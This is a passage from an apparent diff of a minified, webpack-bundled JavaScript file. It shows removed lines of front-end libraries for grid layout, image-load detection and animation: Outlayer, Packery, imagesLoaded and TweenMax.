}; - n.debounceMethod = function (e, t, i) { - i = i || 100; - var n = e.prototype[t]; - var r = t + "Timeout"; - e.prototype[t] = function () { - var e = this[r]; - clearTimeout(e); - var t = arguments; - var a = this; - this[r] = setTimeout(function () { - n.apply(a, t); - delete a[r] - }, i) - } - }; - n.docReady = function (e) { - var t = document.readyState; - if (t == "complete" || t == "interactive") { - setTimeout(e) - } else { - document.addEventListener("DOMContentLoaded", e) - } - }; - n.toDashed = function (e) { - return e.replace(/(.)([A-Z])/g, function (e, t, i) { - return t + "-" + i - }).toLowerCase() - }; - var a = t.console; - n.htmlInit = function (e, i) { - n.docReady(function () { - var r = n.toDashed(i); - var s = "data-" + r; - var o = document.querySelectorAll("[" + s + "]"); - var l = document.querySelectorAll(".js-" + r); - var u = n.makeArray(o).concat(n.makeArray(l)); - var d = s + "-options"; - var f = t.jQuery; - u.forEach(function (t) { - var n = t.getAttribute(s) || t.getAttribute(d); - var r; - try { - r = n && JSON.parse(n) - } catch (e) { - if (a) { - a.error("Error parsing " + s + " on " + t.className + ": " + e) - } - return - } - var o = new e(t, r); - if (f) { - f.data(t, i, o) - } - }) - }) - }; - return n - }) -}, function (e, t, i) { - var n, r; - (function (a, s) { - "use strict"; - if (true) { - !(n = s, r = typeof n === "function" ? n.call(t, i, t, e) : n, r !== undefined && (e.exports = r)) - } else if (typeof e == "object" && e.exports) { - e.exports = s() - } else { - a.matchesSelector = s() - } - })(window, function e() { - "use strict"; - var t = function () { - var e = window.Element.prototype; - if (e.matches) { - return "matches" - } - if (e.matchesSelector) { - return "matchesSelector" - } - var t = ["webkit", "moz", "ms", "o"]; - for (var i = 0; i < t.length; i++) { - var n = t[i]; - var r = n + "MatchesSelector"; - if (e[r]) { - return r - } - } - }(); - return function e(i, n) { - return i[t](n) - } - }) -}, function (e, t, i) { - var n, r, a; - (function (s, o) { - if (true) { - !(r = [i(4), i(3)], n = o, a = typeof n === "function" ? n.apply(t, r) : n, a !== undefined && (e.exports = a)) - } else if (typeof e == "object" && e.exports) { - e.exports = o(require("ev-emitter"), require("get-size")) - } else { - s.Outlayer = {}; - s.Outlayer.Item = o(s.EvEmitter, s.getSize) - } - })(window, function e(t, i) { - "use strict"; - - function n(e) { - for (var t in e) { - return false - } - t = null; - return true - } - var r = document.documentElement.style; - var a = typeof r.transition == "string" ? "transition" : "WebkitTransition"; - var s = typeof r.transform == "string" ? "transform" : "WebkitTransform"; - var o = { - WebkitTransition: "webkitTransitionEnd", - transition: "transitionend" - }[a]; - var l = { - transform: s, - transition: a, - transitionDuration: a + "Duration", - transitionProperty: a + "Property", - transitionDelay: a + "Delay" - }; - - function u(e, t) { - if (!e) { - return - } - this.element = e; - this.layout = t; - this.position = { - x: 0, - y: 0 - }; - this._create() - } - var d = u.prototype = Object.create(t.prototype); - d.constructor = u; - d._create = function () { - this._transn = { - ingProperties: {}, - clean: {}, - onEnd: {} - }; - this.css({ - position: "absolute" - }) - }; - d.handleEvent = function (e) { - var t = "on" + e.type; - if (this[t]) { - this[t](e) - } - }; - d.getSize = function () { - this.size = i(this.element) - }; - d.css = function (e) { - var t = this.element.style; - for (var i in e) { - var n = l[i] || i; - t[n] = e[i] - } - }; - d.getPosition = function () { - var e = getComputedStyle(this.element); - var t = this.layout._getOption("originLeft"); - var i = this.layout._getOption("originTop"); - var n = e[t ? "left" : "right"]; - var r = e[i ? "top" : "bottom"]; - var a = parseFloat(n); - var s = parseFloat(r); - var o = this.layout.size; - if (n.indexOf("%") != -1) { - a = a / 100 * o.width - } - if (r.indexOf("%") != -1) { - s = s / 100 * o.height - } - a = isNaN(a) ? 0 : a; - s = isNaN(s) ? 0 : s; - a -= t ? o.paddingLeft : o.paddingRight; - s -= i ? o.paddingTop : o.paddingBottom; - this.position.x = a; - this.position.y = s - }; - d.layoutPosition = function () { - var e = this.layout.size; - var t = {}; - var i = this.layout._getOption("originLeft"); - var n = this.layout._getOption("originTop"); - var r = i ? "paddingLeft" : "paddingRight"; - var a = i ? "left" : "right"; - var s = i ? "right" : "left"; - var o = this.position.x + e[r]; - t[a] = this.getXValue(o); - t[s] = ""; - var l = n ? "paddingTop" : "paddingBottom"; - var u = n ? "top" : "bottom"; - var d = n ? "bottom" : "top"; - var f = this.position.y + e[l]; - t[u] = this.getYValue(f); - t[d] = ""; - this.css(t); - this.emitEvent("layout", [this]) - }; - d.getXValue = function (e) { - var t = this.layout._getOption("horizontal"); - return this.layout.options.percentPosition && !t ? e / this.layout.size.width * 100 + "%" : e + "px" - }; - d.getYValue = function (e) { - var t = this.layout._getOption("horizontal"); - return this.layout.options.percentPosition && t ? e / this.layout.size.height * 100 + "%" : e + "px" - }; - d._transitionTo = function (e, t) { - this.getPosition(); - var i = this.position.x; - var n = this.position.y; - var r = e == this.position.x && t == this.position.y; - this.setPosition(e, t); - if (r && !this.isTransitioning) { - this.layoutPosition(); - return - } - var a = e - i; - var s = t - n; - var o = {}; - o.transform = this.getTranslate(a, s); - this.transition({ - to: o, - onTransitionEnd: { - transform: this.layoutPosition - }, - isCleaning: true - }) - }; - d.getTranslate = function (e, t) { - var i = this.layout._getOption("originLeft"); - var n = this.layout._getOption("originTop"); - e = i ? e : -e; - t = n ? t : -t; - return "translate3d(" + e + "px, " + t + "px, 0)" - }; - d.goTo = function (e, t) { - this.setPosition(e, t); - this.layoutPosition() - }; - d.moveTo = d._transitionTo; - d.setPosition = function (e, t) { - this.position.x = parseFloat(e); - this.position.y = parseFloat(t) - }; - d._nonTransition = function (e) { - this.css(e.to); - if (e.isCleaning) { - this._removeStyles(e.to) - } - for (var t in e.onTransitionEnd) { - e.onTransitionEnd[t].call(this) - } - }; - d.transition = function (e) { - if (!parseFloat(this.layout.options.transitionDuration)) { - this._nonTransition(e); - return - } - var t = this._transn; - for (var i in e.onTransitionEnd) { - t.onEnd[i] = e.onTransitionEnd[i] - } - for (i in e.to) { - t.ingProperties[i] = true; - if (e.isCleaning) { - t.clean[i] = true - } - } - if (e.from) { - this.css(e.from); - var n = this.element.offsetHeight; - n = null - } - this.enableTransition(e.to); - this.css(e.to); - this.isTransitioning = true - }; - - function f(e) { - return e.replace(/([A-Z])/g, function (e) { - return "-" + e.toLowerCase() - }) - } - var c = "opacity," + f(s); - d.enableTransition = function () { - if (this.isTransitioning) { - return - } - var e = this.layout.options.transitionDuration; - e = typeof e == "number" ? e + "ms" : e; - this.css({ - transitionProperty: c, - transitionDuration: e, - transitionDelay: this.staggerDelay || 0 - }); - this.element.addEventListener(o, this, false) - }; - d.onwebkitTransitionEnd = function (e) { - this.ontransitionend(e) - }; - d.onotransitionend = function (e) { - this.ontransitionend(e) - }; - var h = { - "-webkit-transform": "transform" - }; - d.ontransitionend = function (e) { - if (e.target !== this.element) { - return - } - var t = this._transn; - var i = h[e.propertyName] || e.propertyName; - delete t.ingProperties[i]; - if (n(t.ingProperties)) { - this.disableTransition() - } - if (i in t.clean) { - this.element.style[e.propertyName] = ""; - delete t.clean[i] - } - if (i in t.onEnd) { - var r = t.onEnd[i]; - r.call(this); - delete t.onEnd[i] - } - this.emitEvent("transitionEnd", [this]) - }; - d.disableTransition = function () { - this.removeTransitionStyles(); - this.element.removeEventListener(o, this, false); - this.isTransitioning = false - }; - d._removeStyles = function (e) { - var t = {}; - for (var i in e) { - t[i] = "" - } - this.css(t) - }; - var m = { - transitionProperty: "", - transitionDuration: "", - transitionDelay: "" - }; - d.removeTransitionStyles = function () { - this.css(m) - }; - d.stagger = function (e) { - e = isNaN(e) ? 0 : e; - this.staggerDelay = e + "ms" - }; - d.removeElem = function () { - this.element.parentNode.removeChild(this.element); - this.css({ - display: "" - }); - this.emitEvent("remove", [this]) - }; - d.remove = function () { - if (!a || !parseFloat(this.layout.options.transitionDuration)) { - this.removeElem(); - return - } - this.once("transitionEnd", function () { - this.removeElem() - }); - this.hide() - }; - d.reveal = function () { - delete this.isHidden; - this.css({ - display: "" - }); - var e = this.layout.options; - var t = {}; - var i = this.getHideRevealTransitionEndProperty("visibleStyle"); - t[i] = this.onRevealTransitionEnd; - this.transition({ - from: e.hiddenStyle, - to: e.visibleStyle, - isCleaning: true, - onTransitionEnd: t - }) - }; - d.onRevealTransitionEnd = function () { - if (!this.isHidden) { - this.emitEvent("reveal") - } - }; - d.getHideRevealTransitionEndProperty = function (e) { - var t = this.layout.options[e]; - if (t.opacity) { - return "opacity" - } - for (var i in t) { - return i - } - }; - d.hide = function () { - this.isHidden = true; - this.css({ - display: "" - }); - var e = this.layout.options; - var t = {}; - var i = this.getHideRevealTransitionEndProperty("hiddenStyle"); - t[i] = this.onHideTransitionEnd; - this.transition({ - from: e.visibleStyle, - to: e.hiddenStyle, - isCleaning: true, - onTransitionEnd: t - }) - }; - d.onHideTransitionEnd = function () { - if (this.isHidden) { - this.css({ - display: "none" - }); - this.emitEvent("hide") - } - }; - d.destroy = function () { - this.css({ - position: "", - left: "", - right: "", - top: "", - bottom: "", - transition: "", - transform: "" - }) - }; - return u - }) -}, function (e, t, i) { - var n, r, a; - (function (s, o) { - if (true) { - !(r = [i(5)], n = o, a = typeof n === "function" ? n.apply(t, r) : n, a !== undefined && (e.exports = a)) - } else if (typeof e == "object" && e.exports) { - e.exports = o(require("./rect")) - } else { - var l = s.Packery = s.Packery || {}; - l.Packer = o(l.Rect) - } - })(window, function e(t) { - "use strict"; - - function i(e, t, i) { - this.width = e || 0; - this.height = t || 0; - this.sortDirection = i || "downwardLeftToRight"; - this.reset() - } - var n = i.prototype; - n.reset = function () { - this.spaces = []; - var e = new t({ - x: 0, - y: 0, - width: this.width, - height: this.height - }); - this.spaces.push(e); - this.sorter = r[this.sortDirection] || r.downwardLeftToRight - }; - n.pack = function (e) { - for (var t = 0; t < this.spaces.length; t++) { - var i = this.spaces[t]; - if (i.canFit(e)) { - this.placeInSpace(e, i); - break - } - } - }; - n.columnPack = function (e) { - for (var t = 0; t < this.spaces.length; t++) { - var i = this.spaces[t]; - var n = i.x <= e.x && i.x + i.width >= e.x + e.width && i.height >= e.height - .01; - if (n) { - e.y = i.y; - this.placed(e); - break - } - } - }; - n.rowPack = function (e) { - for (var t = 0; t < this.spaces.length; t++) { - var i = this.spaces[t]; - var n = i.y <= e.y && i.y + i.height >= e.y + e.height && i.width >= e.width - .01; - if (n) { - e.x = i.x; - this.placed(e); - break - } - } - }; - n.placeInSpace = function (e, t) { - e.x = t.x; - e.y = t.y; - this.placed(e) - }; - n.placed = function (e) { - var t = []; - for (var i = 0; i < this.spaces.length; i++) { - var n = this.spaces[i]; - var r = n.getMaximalFreeRects(e); - if (r) { - t.push.apply(t, r) - } else { - t.push(n) - } - } - this.spaces = t; - this.mergeSortSpaces() - }; - n.mergeSortSpaces = function () { - i.mergeRects(this.spaces); - this.spaces.sort(this.sorter) - }; - n.addSpace = function (e) { - this.spaces.push(e); - this.mergeSortSpaces() - }; - i.mergeRects = function (e) { - var t = 0; - var i = e[t]; - e: while (i) { - var n = 0; - var r = e[t + n]; - while (r) { - if (r == i) { - n++ - } else if (r.contains(i)) { - e.splice(t, 1); - i = e[t]; - continue e - } else if (i.contains(r)) { - e.splice(t + n, 1) - } else { - n++ - } - r = e[t + n] - } - t++; - i = e[t] - } - return e - }; - var r = { - downwardLeftToRight: function (e, t) { - return e.y - t.y || e.x - t.x - }, - rightwardTopToBottom: function (e, t) { - return e.x - t.x || e.y - t.y - } - }; - return i - }) -}, function (e, t, i) { - var n, r, a; - (function (s, o) { - if (true) { - !(r = [i(6), i(5)], n = o, a = typeof n === "function" ? n.apply(t, r) : n, a !== undefined && (e.exports = a)) - } else if (typeof e == "object" && e.exports) { - e.exports = o(require("outlayer"), require("./rect")) - } else { - s.Packery.Item = o(s.Outlayer, s.Packery.Rect) - } - })(window, function e(t, i) { - "use strict"; - var n = document.documentElement.style; - var r = typeof n.transform == "string" ? "transform" : "WebkitTransform"; - var a = function e() { - t.Item.apply(this, arguments) - }; - var s = a.prototype = Object.create(t.Item.prototype); - var o = s._create; - s._create = function () { - o.call(this); - this.rect = new i - }; - var l = s.moveTo; - s.moveTo = function (e, t) { - var i = Math.abs(this.position.x - e); - var n = Math.abs(this.position.y - t); - var r = this.layout.dragItemCount && !this.isPlacing && !this.isTransitioning && i < 1 && n < 1; - if (r) { - this.goTo(e, t); - return - } - l.apply(this, arguments) - }; - s.enablePlacing = function () { - this.removeTransitionStyles(); - if (this.isTransitioning && r) { - this.element.style[r] = "none" - } - this.isTransitioning = false; - this.getSize(); - this.layout._setRectSize(this.element, this.rect); - this.isPlacing = true - }; - s.disablePlacing = function () { - this.isPlacing = false - }; - s.removeElem = function () { - var e = this.element.parentNode; - if (e) { - e.removeChild(this.element) - } - this.layout.packer.addSpace(this.rect); - this.emitEvent("remove", [this]) - }; - s.showDropPlaceholder = function () { - var e = this.dropPlaceholder; - if (!e) { - e = this.dropPlaceholder = document.createElement("div"); - e.className = "packery-drop-placeholder"; - e.style.position = "absolute" - } - e.style.width = this.size.width + "px"; - e.style.height = this.size.height + "px"; - this.positionDropPlaceholder(); - this.layout.element.appendChild(e) - }; - s.positionDropPlaceholder = function () { - this.dropPlaceholder.style[r] = "translate(" + this.rect.x + "px, " + this.rect.y + "px)" - }; - s.hideDropPlaceholder = function () { - var e = this.dropPlaceholder.parentNode; - if (e) { - e.removeChild(this.dropPlaceholder) - } - }; - return a - }) -}, function (e, t, i) { - var n, r; - (function (a, s) { - "use strict"; - if (true) { - !(n = [i(4)], r = function (e) { - return s(a, e) - }.apply(t, n), r !== undefined && (e.exports = r)) - } else if (typeof e == "object" && e.exports) { - e.exports = s(a, require("ev-emitter")) - } else { - a.imagesLoaded = s(a, a.EvEmitter) - } - })(typeof window !== "undefined" ? window : this, function e(t, i) { - "use strict"; - var n = t.jQuery; - var r = t.console; - - function a(e, t) { - for (var i in t) { - e[i] = t[i] - } - return e - } - var s = Array.prototype.slice; - - function o(e) { - if (Array.isArray(e)) { - return e - } - var t = typeof e == "object" && typeof e.length == "number"; - if (t) { - return s.call(e) - } - return [e] - } - - function l(e, t, i) { - if (!(this instanceof l)) { - return new l(e, t, i) - } - var s = e; - if (typeof e == "string") { - s = document.querySelectorAll(e) - } - if (!s) { - r.error("Bad element for imagesLoaded " + (s || e)); - return - } - this.elements = o(s); - this.options = a({}, this.options); - if (typeof t == "function") { - i = t - } else { - a(this.options, t) - } - if (i) { - this.on("always", i) - } - this.getImages(); - if (n) { - this.jqDeferred = new n.Deferred - } - setTimeout(this.check.bind(this)) - } - l.prototype = Object.create(i.prototype); - l.prototype.options = {}; - l.prototype.getImages = function () { - this.images = []; - this.elements.forEach(this.addElementImages, this) - }; - l.prototype.addElementImages = function (e) { - if (e.nodeName == "IMG") { - this.addImage(e) - } - if (this.options.background === true) { - this.addElementBackgroundImages(e) - } - var t = e.nodeType; - if (!t || !u[t]) { - return - } - var i = e.querySelectorAll("img"); - for (var n = 0; n < i.length; n++) { - var r = i[n]; - this.addImage(r) - } - if (typeof this.options.background == "string") { - var a = e.querySelectorAll(this.options.background); - for (n = 0; n < a.length; n++) { - var s = a[n]; - this.addElementBackgroundImages(s) - } - } - }; - var u = { - 1: true, - 9: true, - 11: true - }; - l.prototype.addElementBackgroundImages = function (e) { - var t = getComputedStyle(e); - if (!t) { - return - } - var i = /url\((['"])?(.*?)\1\)/gi; - var n = i.exec(t.backgroundImage); - while (n !== null) { - var r = n && n[2]; - if (r) { - this.addBackground(r, e) - } - n = i.exec(t.backgroundImage) - } - }; - l.prototype.addImage = function (e) { - var t = new d(e); - this.images.push(t) - }; - l.prototype.addBackground = function (e, t) { - var i = new f(e, t); - this.images.push(i) - }; - l.prototype.check = function () { - var e = this; - this.progressedCount = 0; - this.hasAnyBroken = false; - if (!this.images.length) { - this.complete(); - return - } - - function t(t, i, n) { - setTimeout(function () { - e.progress(t, i, n) - }) - } - this.images.forEach(function (e) { - e.once("progress", t); - e.check() - }) - }; - l.prototype.progress = function (e, t, i) { - this.progressedCount++; - this.hasAnyBroken = this.hasAnyBroken || !e.isLoaded; - this.emitEvent("progress", [this, e, t]); - if (this.jqDeferred && this.jqDeferred.notify) { - this.jqDeferred.notify(this, e) - } - if (this.progressedCount == this.images.length) { - this.complete() - } - if (this.options.debug && r) { - r.log("progress: " + i, e, t) - } - }; - l.prototype.complete = function () { - var e = this.hasAnyBroken ? "fail" : "done"; - this.isComplete = true; - this.emitEvent(e, [this]); - this.emitEvent("always", [this]); - if (this.jqDeferred) { - var t = this.hasAnyBroken ? "reject" : "resolve"; - this.jqDeferred[t](this) - } - }; - - function d(e) { - this.img = e - } - d.prototype = Object.create(i.prototype); - d.prototype.check = function () { - var e = this.getIsImageComplete(); - if (e) { - this.confirm(this.img.naturalWidth !== 0, "naturalWidth"); - return - } - this.proxyImage = new Image; - this.proxyImage.addEventListener("load", this); - this.proxyImage.addEventListener("error", this); - this.img.addEventListener("load", this); - this.img.addEventListener("error", this); - this.proxyImage.src = this.img.src - }; - d.prototype.getIsImageComplete = function () { - return this.img.complete && this.img.naturalWidth - }; - d.prototype.confirm = function (e, t) { - this.isLoaded = e; - this.emitEvent("progress", [this, this.img, t]) - }; - d.prototype.handleEvent = function (e) { - var t = "on" + e.type; - if (this[t]) { - this[t](e) - } - }; - d.prototype.onload = function () { - this.confirm(true, "onload"); - this.unbindEvents() - }; - d.prototype.onerror = function () { - this.confirm(false, "onerror"); - this.unbindEvents() - }; - d.prototype.unbindEvents = function () { - this.proxyImage.removeEventListener("load", this); - this.proxyImage.removeEventListener("error", this); - this.img.removeEventListener("load", this); - this.img.removeEventListener("error", this) - }; - - function f(e, t) { - this.url = e; - this.element = t; - this.img = new Image - } - f.prototype = Object.create(d.prototype); - f.prototype.check = function () { - this.img.addEventListener("load", this); - this.img.addEventListener("error", this); - this.img.src = this.url; - var e = this.getIsImageComplete(); - if (e) { - this.confirm(this.img.naturalWidth !== 0, "naturalWidth"); - this.unbindEvents() - } - }; - f.prototype.unbindEvents = function () { - this.img.removeEventListener("load", this); - this.img.removeEventListener("error", this) - }; - f.prototype.confirm = function (e, t) { - this.isLoaded = e; - this.emitEvent("progress", [this, this.element, t]) - }; - l.makeJQueryPlugin = function (e) { - e = e || t.jQuery; - if (!e) { - return - } - n = e; - n.fn.imagesLoaded = function (e, t) { - var i = new l(this, e, t); - return i.jqDeferred.promise(n(this)) - } - }; - l.makeJQueryPlugin(); - return l - }) -}, function (e, t, i) { - (function (i) { - var n, r; - var a = typeof e !== "undefined" && e.exports && typeof i !== "undefined" ? i : this || window; - (a._gsQueue || (a._gsQueue = [])).push(function () { - "use strict"; - a._gsDefine("TweenMax", ["core.Animation", "core.SimpleTimeline", "TweenLite"], function (e, t, i) { - var n = function (e) { - var t = [], - i = e.length, - n; - for (n = 0; n !== i; t.push(e[n++])); - return t - }, - r = function (e, t, i) { - var n = e.cycle, - r, a; - for (r in n) { - a = n[r]; - e[r] = typeof a === "function" ? a(i, t[i]) : a[i % a.length] - } - delete e.cycle - }, - a = function (e, t, n) { - i.call(this, e, t, n); - this._cycle = 0; - this._yoyo = this.vars.yoyo === true || !!this.vars.yoyoEase; - this._repeat = this.vars.repeat || 0; - this._repeatDelay = this.vars.repeatDelay || 0; - if (this._repeat) { - this._uncache(true) - } - this.render = a.prototype.render - }, - s = 1e-10, - o = i._internals, - l = o.isSelector, - u = o.isArray, - d = a.prototype = i.to({}, .1, {}), - f = []; - a.version = "1.20.4"; - d.constructor = a; - d.kill()._gc = false; - a.killTweensOf = a.killDelayedCallsTo = i.killTweensOf; - a.getTweensOf = i.getTweensOf; - a.lagSmoothing = i.lagSmoothing; - a.ticker = i.ticker; - a.render = i.render; - d.invalidate = function () { - this._yoyo = this.vars.yoyo === true || !!this.vars.yoyoEase; - this._repeat = this.vars.repeat || 0; - this._repeatDelay = this.vars.repeatDelay || 0; - this._yoyoEase = null; - this._uncache(true); - return i.prototype.invalidate.call(this) - }; - d.updateTo = function (e, t) { - var n = this.ratio, - r = this.vars.immediateRender || e.immediateRender, - a; - if (t && this._startTime < this._timeline._time) { - this._startTime = this._timeline._time; - this._uncache(false); - if (this._gc) { - this._enabled(true, false) - } else { - this._timeline.insert(this, this._startTime - this._delay) - } - } - for (a in e) { - this.vars[a] = e[a] - } - if (this._initted || r) { - if (t) { - this._initted = false; - if (r) { - this.render(0, true, true) - } - } else { - if (this._gc) { - this._enabled(true, false) - } - if (this._notifyPluginsOfEnabled && this._firstPT) { - i._onPluginEvent("_onDisable", this) - } - if (this._time / this._duration > .998) { - var s = this._totalTime; - this.render(0, true, false); - this._initted = false; - this.render(s, true, false) - } else { - this._initted = false; - this._init(); - if (this._time > 0 || r) { - var o = 1 / (1 - n), - l = this._firstPT, - u; - while (l) { - u = l.s + l.c; - l.c *= o; - l.s = u - l.c; - l = l._next - } - } - } - } - } - return this - }; - d.render = function (e, t, n) { - if (!this._initted) - if (this._duration === 0 && this.vars.repeat) { - this.invalidate() - } - var r = !this._dirty ? this._totalDuration : this.totalDuration(), - a = this._time, - l = this._totalTime, - u = this._cycle, - d = this._duration, - f = this._rawPrevTime, - c, h, m, p, v, _, g, y, b; - if (e >= r - 1e-7 && e >= 0) { - this._totalTime = r; - this._cycle = this._repeat; - if (this._yoyo && (this._cycle & 1) !== 0) { - this._time = 0; - this.ratio = this._ease._calcEnd ? this._ease.getRatio(0) : 0 - } else { - this._time = d; - this.ratio = this._ease._calcEnd ? this._ease.getRatio(1) : 1 - } - if (!this._reversed) { - c = true; - h = "onComplete"; - n = n || this._timeline.autoRemoveChildren - } - if (d === 0) - if (this._initted || !this.vars.lazy || n) { - if (this._startTime === this._timeline._duration) { - e = 0 - } - if (f < 0 || e <= 0 && e >= -1e-7 || f === s && this.data !== "isPause") - if (f !== e) { - n = true; - if (f > s) { - h = "onReverseComplete" - } - } - this._rawPrevTime = y = !t || e || f === e ? e : s - } - } else if (e < 1e-7) { - this._totalTime = this._time = this._cycle = 0; - this.ratio = this._ease._calcEnd ? this._ease.getRatio(0) : 0; - if (l !== 0 || d === 0 && f > 0) { - h = "onReverseComplete"; - c = this._reversed - } - if (e < 0) { - this._active = false; - if (d === 0) - if (this._initted || !this.vars.lazy || n) { - if (f >= 0) { - n = true - } - this._rawPrevTime = y = !t || e || f === e ? e : s - } - } - if (!this._initted) { - n = true - } - } else { - this._totalTime = this._time = e; - if (this._repeat !== 0) { - p = d + this._repeatDelay; - this._cycle = this._totalTime / p >> 0; - if (this._cycle !== 0) - if (this._cycle === this._totalTime / p && l <= e) { - this._cycle-- - } - this._time = this._totalTime - this._cycle * p; - if (this._yoyo) - if ((this._cycle & 1) !== 0) { - this._time = d - this._time; - b = this._yoyoEase || this.vars.yoyoEase; - if (b) { - if (!this._yoyoEase) { - if (b === true && !this._initted) { - b = this.vars.ease; - this._yoyoEase = b = !b ? i.defaultEase : b instanceof Ease ? b : typeof b === "function" ? new Ease(b, this.vars.easeParams) : Ease.map[b] || i.defaultEase - } else { - this._yoyoEase = b = b === true ? this._ease : b instanceof Ease ? b : Ease.map[b] - } - } - this.ratio = b ? 1 - b.getRatio((d - this._time) / d) : 0 - } - } - if (this._time > d) { - this._time = d - } else if (this._time < 0) { - this._time = 0 - } - } - if (this._easeType && !b) { - v = this._time / d; - _ = this._easeType; - g = this._easePower; - if (_ === 1 || _ === 3 && v >= .5) { - v = 1 - v - } - if (_ === 3) { - v *= 2 - } - if (g === 1) { - v *= v - } else if (g === 2) { - v *= v * v - } else if (g === 3) { - v *= v * v * v - } else if (g === 4) { - v *= v * v * v * v - } - if (_ === 1) { - this.ratio = 1 - v - } else if (_ === 2) { - this.ratio = v - } else if (this._time / d < .5) { - this.ratio = v / 2 - } else { - this.ratio = 1 - v / 2 - } - } else if (!b) { - this.ratio = this._ease.getRatio(this._time / d) - } - } - if (a === this._time && !n && u === this._cycle) { - if (l !== this._totalTime) - if (this._onUpdate) - if (!t) { - this._callback("onUpdate") - } - return - } else if (!this._initted) { - this._init(); - if (!this._initted || this._gc) { - return - } else if (!n && this._firstPT && (this.vars.lazy !== false && this._duration || this.vars.lazy && !this._duration)) { - this._time = a; - this._totalTime = l; - this._rawPrevTime = f; - this._cycle = u; - o.lazyTweens.push(this); - this._lazy = [e, t]; - return - } - if (this._time && !c && !b) { - this.ratio = this._ease.getRatio(this._time / d) - } else if (c && this._ease._calcEnd && !b) { - this.ratio = this._ease.getRatio(this._time === 0 ? 0 : 1) - } - } - if (this._lazy !== false) { - this._lazy = false - } - if (!this._active) - if (!this._paused && this._time !== a && e >= 0) { - this._active = true - } - if (l === 0) { - if (this._initted === 2 && e > 0) { - this._init() - } - if (this._startAt) { - if (e >= 0) { - this._startAt.render(e, true, n) - } else if (!h) { - h = "_dummyGS" - } - } - if (this.vars.onStart) - if (this._totalTime !== 0 || d === 0) - if (!t) { - this._callback("onStart") - } - } - m = this._firstPT; - while (m) { - if (m.f) { - m.t[m.p](m.c * this.ratio + m.s) - } else { - m.t[m.p] = m.c * this.ratio + m.s - } - m = m._next - } - if (this._onUpdate) { - if (e < 0) - if (this._startAt && this._startTime) { - this._startAt.render(e, true, n) - } - if (!t) - if (this._totalTime !== l || h) { - this._callback("onUpdate") - } - } - if (this._cycle !== u) - if (!t) - if (!this._gc) - if (this.vars.onRepeat) { - this._callback("onRepeat") - } - if (h) - if (!this._gc || n) { - if (e < 0 && this._startAt && !this._onUpdate && this._startTime) { - this._startAt.render(e, true, n) - } - if (c) { - if (this._timeline.autoRemoveChildren) { - this._enabled(false, false) - } - this._active = false - } - if (!t && this.vars[h]) { - this._callback(h) - } - if (d === 0 && this._rawPrevTime === s && y !== s) { - this._rawPrevTime = 0 - } - } - }; - a.to = function (e, t, i) { - return new a(e, t, i) - }; - a.from = function (e, t, i) { - i.runBackwards = true; - i.immediateRender = i.immediateRender != false; - return new a(e, t, i) - }; - a.fromTo = function (e, t, i, n) { - n.startAt = i; - n.immediateRender = n.immediateRender != false && i.immediateRender != false; - return new a(e, t, n) - }; - a.staggerTo = a.allTo = function (e, t, s, o, d, c, h) { - o = o || 0; - var m = 0, - p = [], - v = function () { - if (s.onComplete) { - s.onComplete.apply(s.onCompleteScope || this, arguments) - } - d.apply(h || s.callbackScope || this, c || f) - }, - _ = s.cycle, - g = s.startAt && s.startAt.cycle, - y, b, w, M; - if (!u(e)) { - if (typeof e === "string") { - e = i.selector(e) || e - } - if (l(e)) { - e = n(e) - } - } - e = e || []; - if (o < 0) { - e = n(e); - e.reverse(); - o *= -1 - } - y = e.length - 1; - for (w = 0; w <= y; w++) { - b = {}; - for (M in s) { - b[M] = s[M] - } - if (_) { - r(b, e, w); - if (b.duration != null) { - t = b.duration; - delete b.duration - } - } - if (g) { - g = b.startAt = {}; - for (M in s.startAt) { - g[M] = s.startAt[M] - } - r(b.startAt, e, w) - } - b.delay = m + (b.delay || 0); - if (w === y && d) { - b.onComplete = v - } - p[w] = new a(e[w], t, b); - m += o - } - return p - }; - a.staggerFrom = a.allFrom = function (e, t, i, n, r, s, o) { - i.runBackwards = true; - i.immediateRender = i.immediateRender != false; - return a.staggerTo(e, t, i, n, r, s, o) - }; - a.staggerFromTo = a.allFromTo = function (e, t, i, n, r, s, o, l) { - n.startAt = i; - n.immediateRender = n.immediateRender != false && i.immediateRender != false; - return a.staggerTo(e, t, n, r, s, o, l) - }; - a.delayedCall = function (e, t, i, n, r) { - return new a(t, 0, { - delay: e, - onComplete: t, - onCompleteParams: i, - callbackScope: n, - onReverseComplete: t, - onReverseCompleteParams: i, - immediateRender: false, - useFrames: r, - overwrite: 0 - }) - }; - a.set = function (e, t) { - return new a(e, 0, t) - }; - a.isTweening = function (e) { - return i.getTweensOf(e, true).length > 0 - }; - var c = function (e, t) { - var n = [], - r = 0, - a = e._first; - while (a) { - if (a instanceof i) { - n[r++] = a - } else { - if (t) { - n[r++] = a - } - n = n.concat(c(a, t)); - r = n.length - } - a = a._next - } - return n - }, - h = a.getAllTweens = function (t) { - return c(e._rootTimeline, t).concat(c(e._rootFramesTimeline, t)) - }; - a.killAll = function (e, i, n, r) { - if (i == null) { - i = true - } - if (n == null) { - n = true - } - var a = h(r != false), - s = a.length, - o = i && n && r, - l, u, d; - for (d = 0; d < s; d++) { - u = a[d]; - if (o || u instanceof t || (l = u.target === u.vars.onComplete) && n || i && !l) { - if (e) { - u.totalTime(u._reversed ? 0 : u.totalDuration()) - } else { - u._enabled(false, false) - } - } - } - }; - a.killChildTweensOf = function (e, t) { - if (e == null) { - return - } - var r = o.tweenLookup, - s, d, f, c, h; - if (typeof e === "string") { - e = i.selector(e) || e - } - if (l(e)) { - e = n(e) - } - if (u(e)) { - c = e.length; - while (--c > -1) { - a.killChildTweensOf(e[c], t) - } - return - } - s = []; - for (f in r) { - d = r[f].target.parentNode; - while (d) { - if (d === e) { - s = s.concat(r[f].tweens) - } - d = d.parentNode - } - } - h = s.length; - for (c = 0; c < h; c++) { - if (t) { - s[c].totalTime(s[c].totalDuration()) - } - s[c]._enabled(false, false) - } - }; - var m = function (e, i, n, r) { - i = i !== false; - n = n !== false; - r = r !== false; - var a = h(r), - s = i && n && r, - o = a.length, - l, u; - while (--o > -1) { - u = a[o]; - if (s || u instanceof t || (l = u.target === u.vars.onComplete) && n || i && !l) { - u.paused(e) - } - } - }; - a.pauseAll = function (e, t, i) { - m(true, e, t, i) - }; - a.resumeAll = function (e, t, i) { - m(false, e, t, i) - }; - a.globalTimeScale = function (t) { - var n = e._rootTimeline, - r = i.ticker.time; - if (!arguments.length) { - return n._timeScale - } - t = t || s; - n._startTime = r - (r - n._startTime) * n._timeScale / t; - n = e._rootFramesTimeline; - r = i.ticker.frame; - n._startTime = r - (r - n._startTime) * n._timeScale / t; - n._timeScale = e._rootTimeline._timeScale = t; - return t - }; - d.progress = function (e, 